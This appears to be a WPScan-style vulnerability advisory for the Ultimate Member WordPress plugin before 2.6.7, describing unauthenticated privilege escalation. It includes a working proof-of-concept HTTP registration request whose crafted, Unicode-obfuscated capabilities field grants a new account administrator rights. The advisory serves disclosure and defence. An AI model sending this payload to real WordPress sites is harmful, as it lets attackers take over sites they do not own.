Ultimate Member < 2.6.7 - Unauthenticated Privilege Escalation

The plugin does not prevent visitors from creating user accounts with arbitrary capabilities, effectively allowing attackers to create administrator accounts at will. This is actively being exploited in the wild.

PoC

POST /register/ HTTP/1.1 Host: wpscan-vulnerability-test-bench.ddev.site User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-CA,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 226 Origin: http://wpscan-vulnerability-test-bench.ddev.site Connection: close Referer: http://wpscan-vulnerability-test-bench.ddev.site/register/ Cookie: wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=1b8518cf0ecbf8627f460b2b088024d9; wp_lang=en_US Upgrade-Insecure-Requests: 1 user_login-29=pwnmemayb2e&user;_password-29=P%40ssw0rd%21&confirm;_user_password-29=P%40ssw0rd%21&first;_name-29=Kaput&wp;_cap%c3%a0Bilities-29[administrator]=1&form;_id=29&um;_request=&_wpnonce=cde6682afb&_wp_http_referer=%2Fregister%2F